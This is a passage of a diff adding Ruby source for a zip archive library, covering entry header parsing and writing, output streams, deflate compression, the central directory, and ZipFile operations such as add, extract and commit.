+        # Atandard time field in central directory has local time
+        # under archive creator. Then, we can't get timezone.
+        @time
+      end
+    end
+    alias :mtime :time
+    
+    def time=(aTime)
+      unless @extra.member?("UniversalTime")
+        @extra.create("UniversalTime")
+      end
+      @extra["UniversalTime"].mtime = aTime
+      @time = aTime
+    end
+
+    def directory?
+      return (%r{\/$} =~ @name) != nil
+    end
+    alias :is_directory :directory?
+
+    def file?
+      ! directory?
+    end
+
+    def local_entry_offset  #:nodoc:all
+      localHeaderOffset + local_header_size
+    end
+    
+    def local_header_size  #:nodoc:all
+      LOCAL_ENTRY_STATIC_HEADER_LENGTH + (@name ?  @name.size : 0) + (@extra ? @extra.local_size : 0)
+    end
+
+    def cdir_header_size  #:nodoc:all
+      CDIR_ENTRY_STATIC_HEADER_LENGTH  + (@name ?  @name.size : 0) + 
+	(@extra ? @extra.c_dir_size : 0) + (@comment ? @comment.size : 0)
+    end
+    
+    def next_header_offset  #:nodoc:all
+      local_entry_offset + self.compressed_size
+    end
+    
+    def to_s
+      @name
+    end
+    
+    protected
+    
+    def ZipEntry.read_zip_short(io)
+      io.read(2).unpack('v')[0]
+    end
+    
+    def ZipEntry.read_zip_long(io)
+      io.read(4).unpack('V')[0]
+    end
+    public
+    
+    LOCAL_ENTRY_SIGNATURE = 0x04034b50
+    LOCAL_ENTRY_STATIC_HEADER_LENGTH = 30
+    
+    def read_local_entry(io)  #:nodoc:all
+      @localHeaderOffset = io.tell
+      staticSizedFieldsBuf = io.read(LOCAL_ENTRY_STATIC_HEADER_LENGTH)
+      unless (staticSizedFieldsBuf.size==LOCAL_ENTRY_STATIC_HEADER_LENGTH)
+	raise ZipError, "Premature end of file. Not enough data for zip entry local header"
+      end
+      
+      localHeader       ,
+        @version          ,
+	@fstype           ,
+	@gpFlags          ,
+	@compression_method,
+	lastModTime       ,
+	lastModDate       ,
+	@crc              ,
+	@compressed_size   ,
+	@size             ,
+	nameLength        ,
+	extraLength       = staticSizedFieldsBuf.unpack('VCCvvvvVVVvv') 
+
+      unless (localHeader == LOCAL_ENTRY_SIGNATURE)
+	raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'"
+      end
+      set_time(lastModDate, lastModTime)
+      
+      @name              = io.read(nameLength)
+      extra              = io.read(extraLength)
+
+      if (extra && extra.length != extraLength)
+	raise ZipError, "Truncated local zip entry header"
+      else
+        if ZipExtraField === @extra
+          @extra.merge(extra)
+        else
+          @extra = ZipExtraField.new(extra)
+        end
+      end
+    end
+    
+    def ZipEntry.read_local_entry(io)
+      entry = new(io.path)
+      entry.read_local_entry(io)
+      return entry
+    rescue ZipError
+      return nil
+    end
+  
+    def write_local_entry(io)   #:nodoc:all
+      @localHeaderOffset = io.tell
+      
+      io << 
+	[LOCAL_ENTRY_SIGNATURE    ,
+	0                  ,
+	0                         , # @gpFlags                  ,
+	@compression_method        ,
+	@time.to_binary_dos_time     , # @lastModTime              ,
+	@time.to_binary_dos_date     , # @lastModDate              ,
+	@crc                      ,
+	@compressed_size           ,
+	@size                     ,
+	@name ? @name.length   : 0,
+	@extra? @extra.local_length : 0 ].pack('VvvvvvVVVvv')
+      io << @name
+      io << (@extra ? @extra.to_local_bin : "")
+    end
+    
+    CENTRAL_DIRECTORY_ENTRY_SIGNATURE = 0x02014b50
+    CDIR_ENTRY_STATIC_HEADER_LENGTH = 46
+    
+    def read_c_dir_entry(io)  #:nodoc:all
+      staticSizedFieldsBuf = io.read(CDIR_ENTRY_STATIC_HEADER_LENGTH)
+      unless (staticSizedFieldsBuf.size == CDIR_ENTRY_STATIC_HEADER_LENGTH)
+	raise ZipError, "Premature end of file. Not enough data for zip cdir entry header"
+      end
+      
+      cdirSignature          ,
+	@version               , # version of encoding software
+        @fstype                , # filesystem type
+	@versionNeededToExtract,
+	@gpFlags               ,
+	@compression_method     ,
+	lastModTime            ,
+	lastModDate            ,
+	@crc                   ,
+	@compressed_size        ,
+	@size                  ,
+	nameLength             ,
+	extraLength            ,
+	commentLength          ,
+	diskNumberStart        ,
+	@internalFileAttributes,
+	@externalFileAttributes,
+	@localHeaderOffset     ,
+	@name                  ,
+	@extra                 ,
+	@comment               = staticSizedFieldsBuf.unpack('VCCvvvvvVVVvvvvvVV')
+
+      unless (cdirSignature == CENTRAL_DIRECTORY_ENTRY_SIGNATURE)
+	raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'"
+      end
+      set_time(lastModDate, lastModTime)
+      
+      @name                  = io.read(nameLength)
+      if ZipExtraField === @extra
+        @extra.merge(io.read(extraLength))
+      else
+        @extra = ZipExtraField.new(io.read(extraLength))
+      end
+      @comment               = io.read(commentLength)
+      unless (@comment && @comment.length == commentLength)
+	raise ZipError, "Truncated cdir zip entry header"
+      end
+    end
+    
+    def ZipEntry.read_c_dir_entry(io)  #:nodoc:all
+      entry = new(io.path)
+      entry.read_c_dir_entry(io)
+      return entry
+    rescue ZipError
+      return nil
+    end
+
+
+    def write_c_dir_entry(io)  #:nodoc:all
+      io << 
+	[CENTRAL_DIRECTORY_ENTRY_SIGNATURE,
+        @version                          , # version of encoding software
+	@fstype                           , # filesystem type
+	0                                 , # @versionNeededToExtract           ,
+	0                                 , # @gpFlags                          ,
+	@compression_method                ,
+        @time.to_binary_dos_time             , # @lastModTime                      ,
+	@time.to_binary_dos_date             , # @lastModDate                      ,
+	@crc                              ,
+	@compressed_size                   ,
+	@size                             ,
+	@name  ?  @name.length  : 0       ,
+	@extra ? @extra.c_dir_length : 0  ,
+	@comment ? comment.length : 0     ,
+	0                                 , # disk number start
+	@internalFileAttributes           , # file type (binary=0, text=1)
+	@externalFileAttributes           , # native filesystem attributes
+	@localHeaderOffset                ,
+	@name                             ,
+	@extra                            ,
+	@comment                          ].pack('VCCvvvvvVVVvvvvvVV')
+
+      io << @name
+      io << (@extra ? @extra.to_c_dir_bin : "")
+      io << @comment
+    end
+    
+    def == (other)
+      return false unless other.class == ZipEntry
+      # Compares contents of local entry and exposed fields
+      (@compression_method == other.compression_method &&
+       @crc               == other.crc		     &&
+       @compressed_size    == other.compressed_size    &&
+       @size              == other.size	             &&
+       @name              == other.name	             &&
+       @extra             == other.extra             &&
+       self.time.dos_equals(other.time))
+    end
+
+    def <=> (other)
+      return to_s <=> other.to_s
+    end
+
+    def get_input_stream
+      zis = ZipInputStream.new(@zipfile, localHeaderOffset)
+      zis.get_next_entry
+      if block_given?
+	begin
+	  return yield(zis)
+	ensure
+	  zis.close
+	end
+      else
+	return zis
+      end
+    end
+
+
+    def write_to_zip_output_stream(aZipOutputStream)  #:nodoc:all
+      aZipOutputStream.copy_raw_entry(self)
+    end
+
+    def parent_as_string
+      entry_name = name.chomp("/")
+      slash_index = entry_name.rindex("/")
+      slash_index ? entry_name.slice(0, slash_index+1) : nil
+    end
+
+    def get_raw_input_stream(&aProc)
+      File.open(@zipfile, "rb", &aProc)
+    end
+
+    private
+    def set_time(binaryDosDate, binaryDosTime)
+      @time = Time.parse_binary_dos_format(binaryDosDate, binaryDosTime)
+    rescue ArgumentError
+      puts "Invalid date/time in zip entry"
+    end
+  end
+
+
+  # ZipOutputStream is the basic class for writing zip files. It is 
+  # possible to create a ZipOutputStream object directly, passing 
+  # the zip file name to the constructor, but more often than not 
+  # the ZipOutputStream will be obtained from a ZipFile (perhaps using the 
+  # ZipFileSystem interface) object for a particular entry in the zip 
+  # archive.
+  #
+  # A ZipOutputStream inherits IOExtras::AbstractOutputStream in order 
+  # to provide an IO-like interface for writing to a single zip 
+  # entry. Beyond methods for mimicking an IO-object it contains 
+  # the method put_next_entry that closes the current entry 
+  # and creates a new.
+  #
+  # Please refer to ZipInputStream for example code.
+  #
+  # java.util.zip.ZipOutputStream is the original inspiration for this 
+  # class.
+
+  class ZipOutputStream
+    include IOExtras::AbstractOutputStream
+
+    attr_accessor :comment
+
+    # Opens the indicated zip file. If a file with that name already
+    # exists it will be overwritten.
+    def initialize(fileName)
+      super()
+      @fileName = fileName
+      @outputStream = File.new(@fileName, "wb")
+      @entrySet = ZipEntrySet.new
+      @compressor = NullCompressor.instance
+      @closed = false
+      @currentEntry = nil
+      @comment = nil
+    end
+
+    # Same as #initialize but if a block is passed the opened
+    # stream is passed to the block and closed when the block
+    # returns.    
+    def ZipOutputStream.open(fileName)
+      return new(fileName) unless block_given?
+      zos = new(fileName)
+      yield zos
+    ensure
+      zos.close if zos
+    end
+
+    # Closes the stream and writes the central directory to the zip file
+    def close
+      return if @closed
+      finalize_current_entry
+      update_local_headers
+      write_central_directory
+      @outputStream.close
+      @closed = true
+    end
+
+    # Closes the current entry and opens a new for writing.
+    # +entry+ can be a ZipEntry object or a string.
+    def put_next_entry(entry, level = Zlib::DEFAULT_COMPRESSION)
+      raise ZipError, "zip stream is closed" if @closed
+      newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@fileName, entry.to_s)
+      init_next_entry(newEntry)
+      @currentEntry=newEntry
+    end
+
+    def copy_raw_entry(entry)
+      entry = entry.dup
+      raise ZipError, "zip stream is closed" if @closed
+      raise ZipError, "entry is not a ZipEntry" if !entry.kind_of?(ZipEntry)
+      finalize_current_entry
+      @entrySet << entry
+      src_pos = entry.local_entry_offset
+      entry.write_local_entry(@outputStream)
+      @compressor = NullCompressor.instance
+      @outputStream << entry.get_raw_input_stream { 
+	|is| 
+	is.seek(src_pos, IO::SEEK_SET)
+	is.read(entry.compressed_size)
+      }
+      @compressor = NullCompressor.instance
+      @currentEntry = nil
+    end
+
+    private
+    def finalize_current_entry
+      return unless @currentEntry
+      finish
+      @currentEntry.compressed_size = @outputStream.tell - @currentEntry.localHeaderOffset - 
+	@currentEntry.local_header_size
+      @currentEntry.size = @compressor.size
+      @currentEntry.crc = @compressor.crc
+      @currentEntry = nil
+      @compressor = NullCompressor.instance
+    end
+    
+    def init_next_entry(entry, level = Zlib::DEFAULT_COMPRESSION)
+      finalize_current_entry
+      @entrySet << entry
+      entry.write_local_entry(@outputStream)
+      @compressor = get_compressor(entry, level)
+    end
+
+    def get_compressor(entry, level)
+      case entry.compression_method
+	when ZipEntry::DEFLATED then Deflater.new(@outputStream, level)
+	when ZipEntry::STORED   then PassThruCompressor.new(@outputStream)
+      else raise ZipCompressionMethodError, 
+	  "Invalid compression method: '#{entry.compression_method}'"
+      end
+    end
+
+    def update_local_headers
+      pos = @outputStream.tell
+      @entrySet.each {
+	|entry|
+	@outputStream.pos = entry.localHeaderOffset
+	entry.write_local_entry(@outputStream)
+      }
+      @outputStream.pos = pos
+    end
+
+    def write_central_directory
+      cdir = ZipCentralDirectory.new(@entrySet, @comment)
+      cdir.write_to_stream(@outputStream)
+    end
+
+    protected
+
+    def finish
+      @compressor.finish
+    end
+
+    public
+    # Modeled after IO.<<
+    def << (data)
+      @compressor << data
+    end
+  end
+  
+  
+  class Compressor #:nodoc:all
+    def finish
+    end
+  end
+  
+  class PassThruCompressor < Compressor #:nodoc:all
+    def initialize(outputStream)
+      super()
+      @outputStream = outputStream
+      @crc = Zlib::crc32
+      @size = 0
+    end
+    
+    def << (data)
+      val = data.to_s
+      @crc = Zlib::crc32(val, @crc)
+      @size += val.size
+      @outputStream << val
+    end
+
+    attr_reader :size, :crc
+  end
+
+  class NullCompressor < Compressor #:nodoc:all
+    include Singleton
+
+    def << (data)
+      raise IOError, "closed stream"
+    end
+
+    attr_reader :size, :compressed_size
+  end
+
+  class Deflater < Compressor #:nodoc:all
+    def initialize(outputStream, level = Zlib::DEFAULT_COMPRESSION)
+      super()
+      @outputStream = outputStream
+      @zlibDeflater = Zlib::Deflate.new(level, -Zlib::MAX_WBITS)
+      @size = 0
+      @crc = Zlib::crc32
+    end
+    
+    def << (data)
+      val = data.to_s
+      @crc = Zlib::crc32(val, @crc)
+      @size += val.size
+      @outputStream << @zlibDeflater.deflate(data)
+    end
+
+    def finish
+      until @zlibDeflater.finished?
+	@outputStream << @zlibDeflater.finish
+      end
+    end
+
+    attr_reader :size, :crc
+  end
+  
+
+  class ZipEntrySet #:nodoc:all
+    include Enumerable
+    
+    def initialize(anEnumerable = [])
+      super()
+      @entrySet = {}
+      anEnumerable.each { |o| push(o) }
+    end
+
+    def include?(entry)
+      @entrySet.include?(entry.to_s)
+    end
+
+    def <<(entry)
+      @entrySet[entry.to_s] = entry
+    end
+    alias :push :<<
+
+    def size
+      @entrySet.size
+    end
+    alias :length :size
+
+    def delete(entry)
+      @entrySet.delete(entry.to_s) ? entry : nil
+    end
+
+    def each(&aProc)
+      @entrySet.values.each(&aProc)
+    end
+
+    def entries
+      @entrySet.values
+    end
+
+    # deep clone
+    def dup
+      newZipEntrySet = ZipEntrySet.new(@entrySet.values.map { |e| e.dup })
+    end
+
+    def == (other)
+      return false unless other.kind_of?(ZipEntrySet)
+      return @entrySet == other.entrySet      
+    end
+
+    def parent(entry)
+      @entrySet[entry.parent_as_string]
+    end
+
+#TODO    attr_accessor :auto_create_directories
+    protected
+    attr_accessor :entrySet
+  end
+
+
+  class ZipCentralDirectory
+    include Enumerable
+    
+    END_OF_CENTRAL_DIRECTORY_SIGNATURE = 0x06054b50
+    MAX_END_OF_CENTRAL_DIRECTORY_STRUCTURE_SIZE = 65536 + 18
+    STATIC_EOCD_SIZE = 22
+
+    attr_reader :comment
+
+    # Returns an Enumerable containing the entries.
+    def entries
+      @entrySet.entries
+    end
+
+    def initialize(entries = ZipEntrySet.new, comment = "")  #:nodoc:
+      super()
+      @entrySet = entries.kind_of?(ZipEntrySet) ? entries : ZipEntrySet.new(entries)
+      @comment = comment
+    end
+
+    def write_to_stream(io)  #:nodoc:
+      offset = io.tell
+      @entrySet.each { |entry| entry.write_c_dir_entry(io) }
+      write_e_o_c_d(io, offset)
+    end
+
+    def write_e_o_c_d(io, offset)  #:nodoc:
+      io <<
+	[END_OF_CENTRAL_DIRECTORY_SIGNATURE,
+        0                                  , # @numberOfThisDisk
+	0                                  , # @numberOfDiskWithStartOfCDir
+	@entrySet? @entrySet.size : 0        ,
+	@entrySet? @entrySet.size : 0        ,
+	cdir_size                           ,
+	offset                             ,
+	@comment ? @comment.length : 0     ].pack('VvvvvVVv')
+      io << @comment
+    end
+    private :write_e_o_c_d
+
+    def cdir_size  #:nodoc:
+      # does not include eocd
+      @entrySet.inject(0) { |value, entry| entry.cdir_header_size + value }
+    end
+    private :cdir_size
+
+    def read_e_o_c_d(io) #:nodoc:
+      buf = get_e_o_c_d(io)
+      @numberOfThisDisk                     = ZipEntry::read_zip_short(buf)
+      @numberOfDiskWithStartOfCDir          = ZipEntry::read_zip_short(buf)
+      @totalNumberOfEntriesInCDirOnThisDisk = ZipEntry::read_zip_short(buf)
+      @size                                 = ZipEntry::read_zip_short(buf)
+      @sizeInBytes                          = ZipEntry::read_zip_long(buf)
+      @cdirOffset                           = ZipEntry::read_zip_long(buf)
+      commentLength                         = ZipEntry::read_zip_short(buf)
+      @comment                              = buf.read(commentLength)
+      raise ZipError, "Zip consistency problem while reading eocd structure" unless buf.size == 0
+    end
+    
+    def read_central_directory_entries(io)  #:nodoc:
+      begin
+	io.seek(@cdirOffset, IO::SEEK_SET)
+      rescue Errno::EINVAL
+	raise ZipError, "Zip consistency problem while reading central directory entry"
+      end
+      @entrySet = ZipEntrySet.new
+      @size.times {
+	@entrySet << ZipEntry.read_c_dir_entry(io)
+      }
+    end
+    
+    def read_from_stream(io)  #:nodoc:
+      read_e_o_c_d(io)
+      read_central_directory_entries(io)
+    end
+    
+    def get_e_o_c_d(io)  #:nodoc:
+      begin
+	io.seek(-MAX_END_OF_CENTRAL_DIRECTORY_STRUCTURE_SIZE, IO::SEEK_END)
+      rescue Errno::EINVAL
+	io.seek(0, IO::SEEK_SET)
+      rescue Errno::EFBIG # FreeBSD 4.9 returns Errno::EFBIG instead of Errno::EINVAL
+	io.seek(0, IO::SEEK_SET)
+      end
+      buf = io.read
+      sigIndex = buf.rindex([END_OF_CENTRAL_DIRECTORY_SIGNATURE].pack('V'))
+      raise ZipError, "Zip end of central directory signature not found" unless sigIndex
+      buf=buf.slice!((sigIndex+4)...(buf.size))
+      def buf.read(count)
+	slice!(0, count)
+      end
+      return buf
+    end
+
+    # For iterating over the entries.
+    def each(&proc)
+      @entrySet.each(&proc)
+    end
+
+    # Returns the number of entries in the central directory (and 
+    # consequently in the zip archive).
+    def size
+      @entrySet.size
+    end
+
+    def ZipCentralDirectory.read_from_stream(io)  #:nodoc:
+      cdir  = new
+      cdir.read_from_stream(io)
+      return cdir
+    rescue ZipError
+      return nil
+    end
+
+    def == (other) #:nodoc:
+      return false unless other.kind_of?(ZipCentralDirectory)
+      @entrySet.entries.sort == other.entries.sort && comment == other.comment
+    end
+  end
+  
+  
+  class ZipError < StandardError ; end
+
+  class ZipEntryExistsError            < ZipError; end
+  class ZipDestinationFileExistsError  < ZipError; end
+  class ZipCompressionMethodError      < ZipError; end
+  class ZipEntryNameError              < ZipError; end
+
+  # ZipFile is modeled after java.util.zip.ZipFile from the Java SDK.
+  # The most important methods are those inherited from
+  # ZipCentralDirectory for accessing information about the entries in
+  # the archive and methods such as get_input_stream and
+  # get_output_stream for reading from and writing entries to the
+  # archive. The class includes a few convenience methods such as
+  # #extract for extracting entries to the filesystem, and #remove,
+  # #replace, #rename and #mkdir for making simple modifications to
+  # the archive.
+  #
+  # Modifications to a zip archive are not committed until #commit or
+  # #close is called. The method #open accepts a block following 
+  # the pattern from File.open offering a simple way to 
+  # automatically close the archive when the block returns. 
+  #
+  # The following example opens zip archive <code>my.zip</code> 
+  # (creating it if it doesn't exist) and adds an entry 
+  # <code>first.txt</code> and a directory entry <code>a_dir</code> 
+  # to it.
+  #
+  #   require 'zip/zip'
+  #   
+  #   Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) {
+  #    |zipfile|
+  #     zipfile.get_output_stream("first.txt") { |f| f.puts "Hello from ZipFile" }
+  #     zipfile.mkdir("a_dir")
+  #   }
+  #
+  # The next example reopens <code>my.zip</code> writes the contents of
+  # <code>first.txt</code> to standard out and deletes the entry from 
+  # the archive.
+  #
+  #   require 'zip/zip'
+  #   
+  #   Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) {
+  #     |zipfile|
+  #     puts zipfile.read("first.txt")
+  #     zipfile.remove("first.txt")
+  #   }
+  #
+  # ZipFileSystem offers an alternative API that emulates ruby's 
+  # interface for accessing the filesystem, ie. the File and Dir classes.
+  
+  class ZipFile < ZipCentralDirectory
+
+    CREATE = 1
+
+    attr_reader :name
+
+    # Opens a zip archive. Pass true as the second parameter to create
+    # a new archive if it doesn't exist already.
+    def initialize(fileName, create = nil)
+      super()
+      @name = fileName
+      @comment = ""
+      if (File.exists?(fileName))
+	File.open(name, "rb") { |f| read_from_stream(f) }
+      elsif (create)
+	@entrySet = ZipEntrySet.new
+      else
+	raise ZipError, "File #{fileName} not found"
+      end
+      @create = create
+      @storedEntries = @entrySet.dup
+    end
+
+    # Same as #new. If a block is passed the ZipFile object is passed
+    # to the block and is automatically closed afterwards just as with
+    # ruby's builtin File.open method.
+    def ZipFile.open(fileName, create = nil)
+      zf = ZipFile.new(fileName, create)
+      if block_given?
+	begin
+	  yield zf
+	ensure
+	  zf.close
+	end
+      else
+	zf
+      end
+    end
+
+    # Returns the zip files comment, if it has one
+    attr_accessor :comment
+
+    # Iterates over the contents of the ZipFile. This is more efficient
+    # than using a ZipInputStream since this methods simply iterates
+    # through the entries in the central directory structure in the archive
+    # whereas ZipInputStream jumps through the entire archive accessing the
+    # local entry headers (which contain the same information as the 
+    # central directory).
+    def ZipFile.foreach(aZipFileName, &block)
+      ZipFile.open(aZipFileName) {
+	|zipFile|
+	zipFile.each(&block)
+      }
+    end
+    
+    # Returns an input stream to the specified entry. If a block is passed
+    # the stream object is passed to the block and the stream is automatically
+    # closed afterwards just as with ruby's builtin File.open method.
+    def get_input_stream(entry, &aProc)
+      get_entry(entry).get_input_stream(&aProc)
+    end
+
+    # Returns an output stream to the specified entry. If a block is passed
+    # the stream object is passed to the block and the stream is automatically
+    # closed afterwards just as with ruby's builtin File.open method.
+    def get_output_stream(entry, &aProc)
+      newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@name, entry.to_s)
+      if newEntry.directory?
+	raise ArgumentError,
+	  "cannot open stream to directory entry - '#{newEntry}'"
+      end
+      zipStreamableEntry = ZipStreamableStream.new(newEntry)
+      @entrySet << zipStreamableEntry
+      zipStreamableEntry.get_output_stream(&aProc)      
+    end
+
+    # Returns the name of the zip archive
+    def to_s
+      @name
+    end
+
+    # Returns a string containing the contents of the specified entry
+    def read(entry)
+      get_input_stream(entry) { |is| is.read } 
+    end
+
+    # Convenience method for adding the contents of a file to the archive
+    def add(entry, srcPath, &continueOnExistsProc)
+      continueOnExistsProc ||= proc { false }
+      check_entry_exists(entry, continueOnExistsProc, "add")
+      newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@name, entry.to_s)
+      if is_directory(newEntry, srcPath)
+	@entrySet << ZipStreamableDirectory.new(newEntry)
+      else
+	@entrySet << ZipStreamableFile.new(newEntry, srcPath)
+      end
+    end
+    
+    # Removes the specified entry.
+    def remove(entry)
+      @entrySet.delete(get_entry(entry))
+    end
+    
+    # Renames the specified entry.
+    def rename(entry, newName, &continueOnExistsProc)
+      foundEntry = get_entry(entry)
+      check_entry_exists(newName, continueOnExistsProc, "rename")
+      foundEntry.name=newName
+    end
+
+    # Replaces the specified entry with the contents of srcPath (from 
+    # the file system).
+    def replace(entry, srcPath)
+      check_file(srcPath)
+      add(remove(entry), srcPath)
+    end
+
+    # Extracts entry to file destPath.
+    def extract(entry, destPath, &onExistsProc)
+      onExistsProc ||= proc { false }
+      foundEntry = get_entry(entry)
+      if foundEntry.is_directory
+	create_directory(foundEntry, destPath, &onExistsProc)
+      else
+	write_file(foundEntry, destPath, &onExistsProc) 
+      end
+    end
+
+    # Commits changes that has been made since the previous commit to 
+    # the zip archive.
+    def commit
+     return if ! commit_required?
+      on_success_replace(name) {
+	|tmpFile|
+	ZipOutputStream.open(tmpFile) {
+	  |zos|
+
+	  @entrySet.each { |e| e.write_to_zip_output_stream(zos) }
+	  zos.comment = comment
+	}
+	true
+      }
+      initialize(name)
+    end
+
+    # Closes the zip file committing any changes that has been made.
+    def close
+      commit
+    end
+
+    # Returns true if any changes has been made to this archive since
+    # the previous commit
+    def commit_required?
+      return @entrySet != @storedEntries || @create == ZipFile::CREATE
+    end
+
+    # Searches for entry with the specified name. Returns nil if 
+    # no entry is found. See also get_entry
+    def find_entry(entry)
+      @entrySet.detect { 
+	|e| 
+	e.name.sub(/\/$/, "") == entry.to_s.sub(/\/$/, "")
+      }
+    end
+
+    # Searches for an entry just as find_entry, but throws Errno::ENOENT
+    # if no entry is found.
+    def get_entry(entry)
+      selectedEntry = find_entry(entry)
+      unless selectedEntry
+	raise Errno::ENOENT, entry
+      end
+      return selectedEntry
+    end
+
+    # Creates a directory
+    def mkdir(entryName, permissionInt = 0) #permissionInt ignored
+      if find_entry(entryName)
+        raise Errno::EEXIST, "File exists - #{entryName}"
+      end
+      @entrySet << ZipStreamableDirectory.new(ZipEntry.new(name, entryName.to_s.ensure_end("/")))
+    end
+
+    private
+
+    def create_directory(entry, destPath)
+      if File.directory? destPath
+	return
+      elsif File.exists? destPath
+	if block_given? && yield(entry, destPath)
+	  File.rm_f destPath
+	else
+	  raise ZipDestinationFileExistsError,
+	    "Cannot create directory '#{destPath}'. "+
+	    "A file already exists with that name"
+	end
+      end
+      Dir.mkdir destPath
+    end
+
+    def is_directory(newEntry, srcPath)
+      srcPathIsDirectory = File.directory?(srcPath)
+      if newEntry.is_directory && ! srcPathIsDirectory
+	raise ArgumentError,
+	  "entry name '#{newEntry}' indicates directory entry, but "+
+	  "'#{srcPath}' is not a directory"
+      elsif ! newEntry.is_directory && srcPathIsDirectory
+	newEntry.name += "/"
+      end
+      return newEntry.is_directory && srcPathIsDirectory
+    end
+
+    def check_entry_exists(entryName, continueOnExistsProc, procedureName)
+      continueOnExistsProc ||= proc { false }
+      if @entrySet.detect { |e| e.name == entryName }
+	if continueOnExistsProc.call
+	  remove get_entry(entryName)
+	else
+	  raise ZipEntryExistsError, 
+	    procedureName+" failed. Entry #{entryName} already exists"
+	end
+      end
+    end
+
+    def write_file(entry, destPath, continueOnExistsProc = proc { false })
+      if File.exists?(destPath) && ! yield(entry, destPath)
+	raise ZipDestinationFileExistsError,
+	  "Destination '#{destPath}' already exists"
+      end
+      File.open(destPath, "wb") { 
+	  |os|
+	  entry.get_input_stream { |is| os << is.read }
+	}
+    end
+    
+    def check_file(path)
+      unless File.readable? path
+	raise Errno::ENOENT, path
+      end
+    end
+    
+    def on_success_replace(aFilename)
+      tmpfile = get_tempfile
+      tmpFilename = tmpfile.path
+      tmpfile.close
+      if yield tmpFilename
+	File.move(tmpFilename, name)
+      end
+    end
+    
+    def get_tempfile
+      tempFile = Tempfile.new(File.basename(name), File.dirname(name))
+      tempFile.binmode
+      tempFile
+    end
+    
+  end
+
+  class ZipStreamableFile < DelegateClass(ZipEntry) #:nodoc:all
+    def initialize(entry, filepath)
+      super(entry)
+      @delegate = entry
+      @filepath = filepath
+    end
+
+    def get_input_stream(&aProc)
+      File.open(@filepath, "rb", &aProc)
+    end
+    
+    def write_to_zip_output_stream(aZipOutputStream)
+      aZipOutputStream.put_next_entry(self)
+      aZipOutputStream << get_input_stream { |is| is.read }
+    end
+
+    def == (other)
+      return false unless other.class == ZipStreamableFile
+      @filepath == other.filepath && super(other.delegate)
+    end
+
+    protected
+    attr_reader :filepath, :delegate
+  end
+
+  class ZipStreamableDirectory < DelegateClass(ZipEntry) #:nodoc:all
+    def initialize(entry)
+      super(entry)
+    end
+
+    def get_input_stream(&aProc)
+      return yield(NullInputStream.instance) if block_given?
+      NullInputStream.instance
+    end
+    
+    def write_to_zip_output_stream(aZipOutputStream)
+      aZipOutputStream.put_next_entry(self)
+    end
+  end
+
+  class ZipStreamableStream < DelegateClass(ZipEntry) #nodoc:all
+    def initialize(entry)
+      super(entry)
+      @tempFile = Tempfile.new(File.basename(name), File.dirname(zipfile))
+      @tempFile.binmode
+    end
+
+    def get_output_stream
+      if block_given?
+        begin
+          yield(@tempFile)
+        ensure
+          @tempFile.close
+        end
+      else
+        @tempFile
+      end
+    end
+
+    def get_input_stream
+      if ! @tempFile.closed?
+        raise StandardError, "cannot open entry for reading while its open for writing - #{name}"
+      end
+      @tempFile.open # reopens tempfile from top
+      if block_given?
+        begin
+          yield(@tempFile)
+        ensure
+          @tempFile.close
+        end
+      else
+        @tempFile
+      end
+    end
+    
+    def write_to_zip_output_stream(aZipOutputStream)
+      aZipOutputStream.put_next_entry(self)
+      aZipOutputStream << get_input_stream { |is| is.read }
+    end
+  end
+
+  class ZipExtraField < Hash
+    ID_MAP = {}
+
+    # Meta class for extra fields
+    class Generic
+      def self.register_map
+        if self.const_defined?(:HEADER_ID)
+          ID_MAP[self.const_get(:HEADER_ID)] = self
+        end
+      end
+
+      def self.name
+        self.to_s.split("::")[-1]
+      end
+
+      # return field [size, content] or false
+      def initial_parse(binstr)
+        if ! binstr
+          # If nil, start with empty.
+          return false
+        elsif binstr[0,2] != self.class.const_get(:HEADER_ID)
+          $stderr.puts "Warning: weired extra feild header ID. skip parsing"
+          return false
+        end
+        [binstr[2,2].unpack("v")[0], binstr[4..-1]]
+      end
+
+      def ==(other)
+        self.class != other.class and return false
+        each { |k, v|
+          v != other[k] and return false
+        }
+        true
+      end
+
+      def to_local_bin
+        s = pack_for_local
+        self.class.const_get(:HEADER_ID) + [s.length].pack("v") + s
+      end
+
+      def to_c_dir_bin
+        s = pack_for_c_dir
+        self.class.const_get(:HEADER_ID) + [s.length].pack("v") + s
+      end
+    end
+
+    # Info-ZIP Additional timestamp field
+    class UniversalTime < Generic
+      HEADER_ID = "UT"
+      register_map
+
+      def initialize(binstr = nil)
+        @ctime = nil
+        @mtime = nil
+        @atime = nil
+        @flag  = nil
+        binstr and merge(binstr)
+      end
+      attr_accessor :atime, :ctime, :mtime, :flag
+
+      def merge(binstr)
+        binstr == "" and return
+        size, content = initial_parse(binstr)
+        size or return
+        @flag, mtime, atime, ctime = content.unpack("CVVV")
+        mtime and @mtime ||= Time.at(mtime)
+        atime and @atime ||= Time.at(atime)
+        ctime and @ctime ||= Time.at(ctime)
+      end
+
+      def ==(other)
+        @mtime == other.mtime &&
+        @atime == other.atime &&
+        @ctime == other.ctime
+      end
+
+      def pack_for_local
+        s = [@flag].pack("C")
+        @flag & 1 != 0 and s << [@mtime.to_i].pack("V")
+        @flag & 2 != 0 and s << [@atime.to_i].pack("V")
+        @flag & 4 != 0 and s << [@ctime.to_i].pack("V")
+        s
+      end
+
+      def pack_for_c_dir
+        s = [@flag].pack("C")
+        @flag & 1 == 1 and s << [@mtime.to_i].pack("V")
+        s
+      end
+    end
+
+    # Info-ZIP Extra for UNIX uid/gid
+    class IUnix < Generic
+      HEADER_ID = "Ux"
+      register_map
+
+      def initialize(binstr = nil)
+        @uid = 0
+        @gid = 0
+        binstr and merge(binstr)
+      end
+      attr_accessor :uid, :gid
+
+      def merge(binstr)
+        binstr == "" and return
+        size, content = initial_parse(binstr)
+        # size: 0 for central direcotry. 4 for local header
+        return if(! size || size == 0)
+        uid, gid = content.unpack("vv")
+        @uid ||= uid
+        @gid ||= gid
+      end
+
+      def ==(other)
+        @uid == other.uid &&
+        @gid == other.gid
+      end
+
+      def pack_for_local
+        [@uid, @gid].pack("vv")
+      end
+
+      def pack_for_c_dir
+        ""
+      end
+    end
+
+    ## start main of ZipExtraField < Hash
+    def initialize(binstr = nil)
+      binstr and merge(binstr)
+    end
+
+    def merge(binstr)
+      binstr == "" and return
+      i = 0 
+      while i < binstr.length
+        id = binstr[i,2]
